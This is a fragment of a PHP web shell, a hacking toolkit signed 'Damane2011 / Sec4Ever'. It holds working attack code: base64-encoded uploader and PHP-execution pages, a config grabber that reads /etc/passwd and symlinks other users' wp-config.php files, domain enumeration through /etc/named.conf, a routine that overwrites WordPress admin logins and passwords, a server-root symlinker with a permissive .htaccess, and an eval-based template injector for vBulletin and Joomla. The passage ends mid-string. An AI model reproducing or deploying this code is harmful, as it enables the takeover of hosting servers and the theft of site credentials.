DQogICAgCQkJCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+RmlsZSB+PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPg0KCTxpbnB1dCBuYW1lPSJpbWciIHR5cGU9ImZpbGUiPjwvdGQ+DQogICAgCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+UGF0aCB+PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPg0KCTxzdHJvbmc+DQoJPGlucHV0IG5hbWU9InBhdGhjbGFzcyIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyODRweCIgZGlyPSJsdHIiIHZhbHVlPSI8P3BocCBlY2hvIHJlYWxwYXRoKCcnKT8+Ij48L3N0cm9uZz48L3RkPg0KICAgIAk8L3RyPg0KCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4mbmJzcDs8L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVXBsb2FkIj48L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9InVwbG9hZCI+ICAgICAgICAJCQkJDQo8L2Zvcm0+ICAgIAkJCQkNCg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCg0KCQk8dHI+DQogICAgDQogICAgPHRkIHZhbGlnbj0idG9wIiBjb2xzcGFuPSI2Ij4mbmJzcDs8L3RkPg0KDQoJCTwvdHI+DQoNCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMSIgY29sc3Bhbj0iNiI+PHN0cm9uZz5FeGN1dGUgUEhQPC9zdHJvbmc+PC90ZD4NCiAgICAJCQkJPC90cj4NCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5Db2RlIH48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+DQoJPHN0cm9uZz4NCgk8dGV4dGFyZWEgbmFtZT0iY29kZSIgZGlyPSJsdHIiIHN0eWxlPSJ3aWR0aDogMzUzcHg7IGhlaWdodDogODlweCI+ZWNobyAnPGNlbnRlcj48Yj5QSFAgV29ya2luZzwvYj48L2NlbnRlcj4nOw0KI3JlYWRmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KPC90ZXh0YXJlYT4NCjwvc3Ryb25nPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4mbmJzcDs8L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSVU4iIHN0eWxlPSJoZWlnaHQ6IDI2cHgiPjwvc3Ryb25nPjwvdGQ+DQo8L3RyPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImNvZGUiPg0KPC9mb3JtPiAgICAJDQoNCiAgICA8cCBhbGlnbj0iY2VudGVyIj48L3RkPg0KICA8L3RyPjxkaXYgYWxpZ249ImNlbnRlciI+DQoNCiAgICAgICAgICAgICAgICA8dHI+DQo8L3RhYmxlPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPm==';$file = fopen("cpn.php" ,"w+");$write = fwrite ($file ,base64_decode($crackftp));fclose($file); echo " ";}elseif ($action == 's4config') {@chdir('damane');$local_exp = 'PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5TZWM0RXZlciBDb25maWcgR3JhYmJlciBCeSBEYW1hbmUyMDExPC90aXRsZT4NCjxsaW5rIGhyZWY9J2h0dHA6Ly93d3cuc2VjNGV2ZXIuY29tL2hvbWUvc2VjNGV2ZXIuZ2lmJyB0eXBlPSdpbWFnZS94LWljb24nIHJlbD0nc2hvcnRjdXQgaWNvbicgLz4NCjxzdHlsZT4NCmJvZHl7YmFja2dyb3VuZC1jb2xvcjojMTExO2NvbG9yOiMwMGZmMDA7fQ0KYm9keSx0ZCx0aHsgZm9udDogOHB0IEx1Y2lkYSxUYWhvbWE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiMwMGZmMDA7IH0NCnRhYmxlLmluZm97IGNvbG9yOiMwMDA7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9DQp0ZXh0LWFsaWduOiBjZW50ZXI7DQpzcGFuLGgxLGF7IGNvbG9yOiAkY29sb3IgIWltcG9ydGFudDsgfQ0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQ0KaDF7IGJvcmRlci1sZWZ0OjdweCBzb2xpZCAkY29sb3I7cGFkZGluZzogM3B4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMzMzO21hcmdpbjowcHg7IH0NCmRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQ0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0NCmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0NCi5tbDF7IGJvcmRlcjoxcHggc29saWQgIzU1NTtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjMwMHB4OyB9DQojbmV3LGlucHV0LHRhYmxlLHRkLHRyLCNnZ3tib3JkZXItc3R5bGU6c29saWQ7dGV4dC1kZWNvcmF0aW9uOmJvbGQ7fQ0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0eyBtYXJnaW46MDtjb2xvcjojOTk5O2JhY2tncm91bmQtY29sb3I6IzIyMjtib3JkZXI6MXB4IHNvbGlkICRjb2xvcjsgZm9udDogOHB0IFRhaG9tYSwiVGFob21hIjsgfQ0KLnN0eWxlew0KICAgIGZvbnQtc2l6ZTogMzZweDsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgY29sb3I6ICNGRkZGRkY7DQogICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCiAgICBmb250LWZhbWlseTogR2VvcmdpYSwgIlRpbWVzIE5ldyBSb21hbiIsIFRpbWVzLCBzZXJpZjsNCn0NCiN0ZXh0YXJlYSB7DQogYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCiAtbW96LWJvcmRlci1yYWRpdXM6IDE1cHg7DQogLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAxNXB4Ow0KIGJvcmRlcjogMXB4IHNvbGlkICNGRjAwMDA7DQogcGFkZGluZzogNXB4OyBjb2xvcjojRkYwMDAwDQp9DQo8L3N0eWxlPg0KPGRpdiBhbGlnbj0iY2VudGVyIiBjbGFzcz0ic3R5bGUiPlNlYzRFdmVyIENvbmZpZyBHcmFiYmVyIEJ5IERhbWFuZTIwMTEgKFBIUCBWZXJzaW9uKTwvZGl2Pg0KPHA+Jm5ic3A7PC9wPg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQo8cCBhbGlnbj0iY2VudGVyIj4NCjxmb250IHNpemU9IjUiPkNvbmZpZ3MgUGF0aDo8L2ZvbnQ+DQo8cD4mbmJzcDs8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48dGV4dGFyZWEgaWQ9InRleHRhcmVhIiBuYW1lPSJjb25maWdzIiBjb2xzPSIxMDAiIHJvd3M9IjE4IiA+L2Jsb2cvd3AtY29uZmlnLnBocDwvdGV4dGFyZWE+DQo8cD4mbmJzcDs8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSI1Ij5Ib21lIFBhdGg6PC9mb250Pg0KPHA+Jm5ic3A7PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImhvbWUiIHR5cGU9InRleHQiIHNpemU9IjMwIiB2YWx1ZT0iL2hvbWUiLz48YnI+DQo8cD4mbmJzcDs8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSI1Ij5GaWxlcyBQYXRoOjwvZm9udD4NCjxwPiZuYnNwOzwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJwdWJsaWMiIHR5cGU9InRleHQiIHNpemU9IjMwIiB2YWx1ZT0iL3B1YmxpY19odG1sIi8+PGJyPg0KPHA+Jm5ic3A7PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9InN5bWxpbmsiIHNpemU9IjgwIiB2YWx1ZT0iU3ltbGluayIgdHlwZT0ic3VibWl0Ij4NCjxwPiZuYnNwOzwvcD4NCjwvZm9ybT4NCjw/DQovKg0KDQpGaWxlIFdyaXRlZCBCeSBEYW1hbmUyMDExDQoNCkVtYWlsOiBEYW1hbmUtRHpAaG90bWFpbC5jb20NCg0KVHdpdHRlcjogQERhbWFuZUR6DQoNCkJlZm9yZSBVc2luZyBUaGlzIEZpbGUgUGxlYXNlIENoZWNrIFRoZSBEaXNhYmxlZCBGdW5jdGlvbiANCg0KWW91IENhbiBVc2UgVGhpcyBGaWxlIFRvIENoZWNrIFRoZW0NCg0KaHR0cDovL3Bhc3RlYmluLmNvbS9Cc1RuQmpRag0KDQpQLlM6IFN5bWxpbmsgRnVuY3Rpb24gSXMgVmVyeSBSZXF1ZXN0ZWQNCg0KVGhlIEJlbG93IENvbW1lbnRzIFdhcyBDcmVhdGVkIEp1c3QgdG8gSGVscCBCZWdpbm5lcg0KDQoqLw0KDQpzZXRfdGltZV9saW1pdCgwKTsgLy8gbm8gdGltZSBsaW1pdA0KDQppZihpc3NldCgkX1BPU1RbInN5bWxpbmsiXSkpew0KDQokY29uZmlncyA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbImNvbmZpZ3MiXSk7DQoNCiRwdWJsaWMgPSAkX1BPU1RbJ3B1YmxpYyddOw0KDQokaG9tZSA9ICRfUE9TVFsnaG9tZSddOw0KDQokcGFzc3dkID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInJiIik7IC8vIFJlYWQgUGFzc3dkIEZpbGUNCg0Kd2hpbGUgKCFmZW9mKCRwYXNzd2QpICkgew0KJGxpbmVzID0gZmdldHMoJHBhc3N3ZCk7IC8vID4+IEdldCBDb250ZW50cyBPZiBUaGUgUGFzc3dkIEZpbGUNCiR1c2VyID0gZXhwbG9kZSgnOicsICRsaW5lcyk7IC8vIEV4cGxvZGUgVGhlIFBhc3N3ZCBGaWxlIEJ5IDoNCg0KZmlsZV9wdXRfY29udGVudHMoInVzZXJzLnR4dCIgLCAkdXNlclswXS4iXG4iLCBGSUxFX0FQUEVORCk7IC8vIFdyaXRlIEEgTmV3IEZpbGUgQ29udGFpbiBVc2Vycw0KDQovLyBTdGFyVCBTeW1saW5raW5nIC4uLg0KDQpmb3JlYWNoICgkY29uZmlncyBhcyAkY29uZmlnKXsNCg0KLy8gc3lzdGVtKCJsbiAtcyAkaG9tZS8kdXNlclswXSRwdWJsaWMvJGNvbmZpZyAkdXNlclswXS0kY29uZmlnLnR4dFxuIik7DQoNCnN5bWxpbmsoJGhvbWUuJy8nLiR1c2VyWzBdLiRwdWJsaWMuJy8nLiRjb25maWcsICR1c2VyWzBdLidfJy4kY29uZmlnLicudHh0Jyk7DQoNCg0KLy8gJHN5bSA9ICR1c2VyWzBdLSRjb25maWcuJy50eHQnOw0KDQppZihmaWxlX2V4aXN0cygkc3ltKSl7DQogICAgZWNobyAiU3ltbGluayBPZiBUaGUgQ29uZmlnIEZvciBUaGUgVXNlciAkdXNlclswXSBJcyBIZXJlOiAkc3ltIjsNCn0NCi8vIERvbmUgU3ltaWxua2luZyA6cA0KfQ0KLy8gRU9GIQ0KfQ0KLy8gR2VuZXJhdGUgLmh0YWNjZXNzIERlbGV0ZSAvLyBUbyBBY3RpdmF0ZSBUaGUgQWN0aW9uIDpwDQovLyBmaWxlX3B1dF9jb250ZW50cygiLmh0YWNjZXNzIiAsICJBZGRIYW5kbGVyIHBocC1zY3JpcHQgLnR4dFxuQWRkVHlwZSB0ZXh0L2h0bWwgaHRtIGh0bWwgcGhwXG4iLCBGSUxFX0FQUEVORCk7DQoNCi8vIE9oIEZpbmFsbFkgOnAgISENCnByaW50ICI8cCBhbGlnbj0nY2VudGVyJz48Zm9udCBjb2xvcj0nI0Y2MzU4QScgc2l6ZT0nNCc+RG9uRSAhPC9wPiI7DQp9DQo/Pg0KPHA+ICZuYnNwOzwvcD4NCjxwPiAmbmJzcDs8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0iI0Y2MzU4QSIgc2l6ZT0iNCI+QnkgRGFtYW5lMjAxMShEYW1hbmUtRHpAaG90bWFpbC5jb20pPC9mb250Pjxicj48YnI+DQpNYURlIGluIEFsR2VyaWEgMjAxMiAmY29weTwvcD4NCjwvaGVhZD4NCjwvaHRtbD5=';$file = fopen("config_grabber.php" ,"w+");$write = fwrite ($file ,base64_decode($local_exp));fclose($file);echo "";}elseif ($action == 'domain') {$d0mains = @file("/etc/named.conf");if(!$d0mains){ die("# can't ReaD -> [ /etc/named.conf ]"); }echo "";foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){ $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo ""; flush();}}};}elseif ($action == 'wpchange') {if(empty($_POST['pwd'])){echo "host : database :

username : password :

 

Set A New username 4 Login :

Set A New password 4 Login :

";}else{$localhost = $_POST['localhost'];$database = $_POST['database'];$username = $_POST['username'];$password = $_POST['password'];$pwd = $_POST['pwd'];$admin = $_POST['admin']; @mysql_connect($localhost,$username,$password) or die(mysql_error()); @mysql_select_db($database) or die(mysql_error());$hash = crypt($pwd);$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());if($a4s){echo " Success :now use a new user and pass 2 login in the admin panel ";}}}elseif ($action == "symlinker") {@error_reporting(E_ALL ^ E_NOTICE);@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);echo "
";echo "

Server Symlinker

"; @mkdir('sym',0777);$htaccess_contents = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";$htaccess_file =@fopen ('sym/.htaccess','w');fwrite($htaccess_file ,$htaccess_contents);@symlink('/','sym/root');$basename = basename('_FILE_');$named_conf = @file('/etc/named.conf');if(!$named_conf){echo "

Sorry..Can't access '/etc/named.conf' file on server

"; }else{echo "
d0mains users
This is the hidden content, please
".$user['name']."
";foreach($named_conf as $named_conf1){if(@eregi('zone',$named_conf1)){preg_match_all('#zone "(.*)"#',$named_conf1,$url);flush();if(strlen(trim($url[1][0])) >2){$user = @posix_getpwuid(@fileowner('/etc/valiases/'.$url[1][0]));$sym = $user['name'] ;@symlink('/','sym/root');$sym = $url[1][0];echo "";flush();}}}}}elseif($action == "passwd") {show_source('/etc/passwd'); }elseif ($action == 'sql_cmd') {@chdir('damane');$symlinker = 'PGhlYWQ+DQo8dGl0bGU+U1FMIENNRCAzLjAgfCBhbC1zd2lzcmU8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudD10eXBlIiAgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KICBodG1sLGJvZHkgew0KICAgICBtYXJnaW46IDA7DQogICAgIHBhZGRpbmc6IDA7DQogICAgIG91dGxpbmU6IDA7DQp9DQoNCg0KYm9keSB7DQogICAgZGlyZWN0aW9uOiBydGw7DQogYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCgljb2xvcjogI2NjY2NjYzsNCiAgICAgfQ0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjY2NjY2NjOw0KZGFzaGVkICNmZmZmZmY7DQpib3JkZXI6IDFweA0Kc29saWQgIzJDMkMyQzsNCmJhY2tncm91bmQtY29sb3I6ICMwODA4MDgNCn0NCg0KDQouYWxsDQp7DQogIG1hcmdpbi1sZWZ0OiBhdXRvOw0KICBtYXJnaW4tcmlnaHQ6IGF1dG87DQogIHdpZHRoOiA2MCU7DQogIGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICM4ODg4ODg7DQogIGRpcmVjdGlvbjogbHRyOw0KDQp9DQouaGRyew0KICBmb250LWZhbWlseTpUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmOw0KICBmb250LXNpemU6IDI3cHg7DQogIGNvbG9yOiNCQkJCQkI7DQogIGZvbnQtd2VpZ2h0OiBib2xkOw0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQouY29tew0KDQogIGZvbnQtc2l6ZTogMThweDsNCiAgZm9udC1mYW1pbHk6VGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZjsNCiAgY29sb3I6ICNCQkJCQkI7DQogIHRleHQtc2hhZG93OiAjRkYwMDAwOw0KfQ0KDQouZm90ZXJ7DQogIGZvbnQtc2l6ZTogOXB0Ow0KICBjb2xvcjogICM0NDQ0NDQgOw0KICB0ZXh0LWFsaWduOiBjZW50ZXINCn0NCiNkcnB7DQogIHdpZHRoOjE1MHB4Ow0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQoNCiAgZmxvYXQ6IG5vbmU7DQoNCn0NCg0KDQojcm9rew0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogIHBhZGRpbmcgOiA0cHg7DQogIGxpc3Qtc3R5bGU6IG5vbmU7DQogIGZsb2F0OiBsZWZ0Ow0KfQ0KI3JvayBhew0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogIGNvbG9yOiAjY2NjY2NjOw0KICBmb250LXNpemU6IDEwcHQ7DQogIG1hcmdpbi1sZWZ0OiAycHg7DQogIGxpc3Qtc3R5bGU6IG5vbmU7DQogIHBhZGRpbmcgOiA0cHg7DQoNCn0NCi5udmJyew0KICBib3JkZXItdG9wOiAxcHggIzIyMjIyMiBkYXNoZWQ7DQogIGhlaWdodDogMzNweDsNCiAgYmFja2dyb3VuZDogIzAwMDAwMDsNCiAgYm9yZGVyLWJvdHRvbTogMXB4ICMyMjIyMjIgZGFzaGVkOw0KICBmb250LWZhbWlseTogVGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZiA7DQogIGZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KDQoubnZiciB1bHsNCiBsaXN0LXN0eWxlOiBub25lOw0KIG1hcmdpbjogMDsNCiBwYWRkaW5nOiAwOw0KDQp9DQoNCi5udmJyIHVsIGxpew0KICBmbG9hdDogbGVmdDsNCg0KfQ0KDQoubnZiciB1bCBsaSBhew0KIGRpc3BsYXk6IGJsb2NrOw0KIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiBwYWRkaW5nOiAxMHB4IDlweCAxMHB4IDlweDsNCiAgY29sb3I6ICM5OTk5OTkgICA7DQogIGZvbnQtc2l6ZTogMTJweDsNCn0NCg0KLm52YnIgdWwgbGkgYTpob3ZlcnsNCiBjb2xvcjogI0ZGRkZGRjsNCiBib3gtc2hhZG93OiAwcHggMHB4IDNweCAjY2NjY2NjIDsNCiB0ZXh0LXNoYWRvdzogMHB4IDBweCAzcHggI0ZGRkZGRjsNCn0NCg0KI2RycHsNCiBsaXN0LXN0eWxlOiBub25lOw0KIGRpcmVjdGlvbjogbHRyOw0KICB3aWR0aDoxNTBweDsNCiAgcG9zaXRpb246IGFic29sdXRlOw0KICBkaXNwbGF5OiBub25lOw0KICBib3JkZXItYm90dG9tOnNvbGlkIDFweCAjMjIyMjIyOw0KICBib3JkZXItbGVmdDogc29saWQgMXB4ICMyMjIyMjI7DQogIGJvcmRlci1yaWdodDogc29saWQgMXB4ICMyMjIyMjI7DQp9DQoNCiNkcnB7DQogIGZsb2F0OiBub25lOw0KfQ0KDQojcm9rOmhvdmVyICNkcnB7DQogZGlzcGxheTogYmxvY2s7DQogYmFja2dyb3VuZDogIzAwMDAwMDsNCiB9DQogLnRibXsNCiBmb250LXNpemU6IDE0cHg7DQp9DQoNCi50Ym0gdHIgdGR7DQogYm9yZGVyOiBkYXNoZWQgMXB4ICMxMTExMTE7DQoNCn0NCg0KDQoNCg0KDQo8L3N0eWxlPg0KPC9oZWFkPg0KDQo8Ym9keT4NCjxiciAvPg0KPGRpdiBjbGFzcz0iYWxsIiA+DQoNCjxiciAvPjxkaXYgY2xhc3M9ImhkciI+U1FMIENNRCAzLjA8L2Rpdj48YnIgLz4NCjw/cGhwDQokcGVhZyA9IGJhc2VuYW1lKF9fRklMRV9fKTsNCg0KZWNobycNCjxkaXYgY2xhc3M9Im52YnIiPg0KIDx1bD4NCiA8bGk+PGEgaHJlZj0iJy4kcGVhZy4nIj5TUUwgQ01EPC9hPg0KDQogPC9saT4NCiA8L3VsPg0KDQogPHVsPg0KIDxsaSBpZD0icm9rIj48YSBocmVmPSIiPnZCdWxsZXRpbjwvYT4NCg0KIDxkaXYgaWQ9ImRycCI+DQogPHVsPjxhIGhyZWY9Ij9zd3M9MSIgPkluamVjdCBpbmRleDwvYT4gPC91bD4NCiA8dWw+PGEgaHJlZj0iP3N3cz00IiA+SW5qZWN0IGZhcTwvYT4gPC91bD4NCiA8dWw+PGEgaHJlZj0iP3N3cz01IiA+SW5qZWN0IGNhbGVuZGFyPC9hPiA8L3VsPg0KIDx1bD48YSBocmVmPSI/c3dzPTYiID5JbmplY3Qgc2VhcmNoPC9hPiA8L3VsPg0KIDx1bD48YSBocmVmPSI/c3dzPTciID5zaG93IG1lbWJlcnM8L2E+IDwvdWw+DQogPC9kaXY+DQoNCiA8L2xpPg0KIDwvdWw+DQoNCiAgPC91bD4NCg0KIDx1bD4NCiA8bGkgaWQ9InJvayI+PGEgaHJlZj0iIj5Xb3JkUHJlc3M8L2E+DQoNCiA8ZGl2IGlkPSJkcnAiPg0KIDx1bD48YSBocmVmPSI/c3dzPTIiID5DaGFuZ2UgYWRtaW48L2E+IDwvdWw+DQogPHVsPjxhIGhyZWY9Ij9zd3M9OCIgPnNob3cgbWVtYmVyczwvYT4gPC91bD4NCiA8L2Rpdj4NCg0KIDwvbGk+DQogPC91bD4NCg0KICA8dWw+DQogPGxpIGlkPSJyb2siPjxhIGhyZWY9IiI+Sm9vbWxhPC9hPg0KDQogPGRpdiBpZD0iZHJwIj4NCiA8dWw+PGEgaHJlZj0iP3N3cz0zIiA+Q2hhbmdlIGFkbWluPC9hPiA8L3VsPg0KIDx1bD48YSBocmVmPSI/c3dzPTkiID5zaG93IG1lbWJlcnM8L2E+IDwvdWw+DQogPC9kaXY+DQoNCiA8L2xpPg0KIDwvdWw+DQoNCjwvZGl2Pic7DQo/Pg0KDQo8P3BocA0KDQoNCiRzaGVsbCA9ICJiVkRQUzhNd0ZMNEwvZyt2WVpBV2RQUGlhVXYxNGtBUUZLcW5VVXFhcGpTWU5LRkp4Q243MzIyYWJnemNJZkR5dmwrUDcvcUtzMDREM3RTNXNKOTZNTUo5YitvaER3OHZUV2NxMzFQRjAyeUpwL1dxenZFYVprMnJCd1dVT2FGN2doQW83anJkRUdTMGRRaDR6OXplY0lLVWwwNFlPcmhWNE44MjFGRUV3WlFnYjZTbURSOFFpT2JzZHhZaGV1TWRSS05XU0g1VXh0bUtuM0crdjBQNVRJeGdOVHFoV1dSOXJZU0xBWEgvUmFVZmdZOHBiVlJPWjRWSTBhYXdxTjVlaS9jZERsUmNBaUZ3SkVJR3Y0SHl5TFRacDR0cSsvenlWT3h3T0FTWE8reVVxVUk2TG0vZ0h4aUJMRGljNm82MlVIakd1TFdRSkVrbzk5VDlHZzdBcGVVWEpGc3E1RVgrQVI3eVB3PT0iIDsNCg0KaWYoaXNzZXQoJF9SRVFVRVNUWydzd3MnXSkpDQp7DQoNCnN3aXRjaCAoJF9SRVFVRVNUWydzd3MnXSkNCnsNCg0KY2FzZSAxOg0KDQplY2hvICcNCg0KPGRpdiBjbGFzcz0iY29tIj4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIzNSUiIGNsYXNzPSJ0YWIiPg0KIDxiciAvPg0KDQo8dHIiPg0KICAgICA8dGQ+SG9zdCA6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHIgIj4NCiAgICAgPHRkPnVzZXImbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5QYXNzIDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzcyIvPjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjQ1JSI+DQo8dHI+DQogICAgIDx0ZCA+WW91ciBpbmRleCA6PC90ZD4NCiAgICAgPHRkPjx0ZXh0YXJlYSByb3dzPSIzIiBuYW1lPSJpbmRleCI+PC90ZXh0YXJlYT48L3RkPg0KPC90cj4NCg0KDQo8dHI+DQoNCiAgICAgIDx0ZCBjb2xzcGFuPSI2IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNRTCIgbWF4bGVuZ3RoPSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9ImNsZWFyIiBtYXhsZW5ndGg9IjMwIiAvPiA8L3RkPg0KDQo8L3RyPg0KICA8L3RhYmxlPg0KIDwvZm9ybT4gIDwvZGl2Pic7DQovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IHZiID4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pg0KICRob3N0ID0gJF9QT1NUWydob3N0J107DQokdXNlciA9ICRfUE9TVFsndXNlciddOw0KJHBhc3MgPSAkX1BPU1RbJ3Bhc3MnXTsNCiRkYiAgID0gJF9QT1NUWydkYiddOw0KJGluZGV4ICA9ICRfUE9TVFsnaW5kZXgnXTsNCg0KaWYoaXNzZXQoJGhvc3QpICkgew0KJGNvbiA9QCBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKSBvciBkaWUgOw0KJHNlZGIgPUAgbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllOw0KJGluZGV4PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7DQokY3J5cHQgID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOw0KJGNyeXB0IC49IGJhc2U2NF9lbmNvZGUoImVjaG8gXCIkaW5kZXhcIjsiKTsNCiRjcnlwdCAuPSAiXC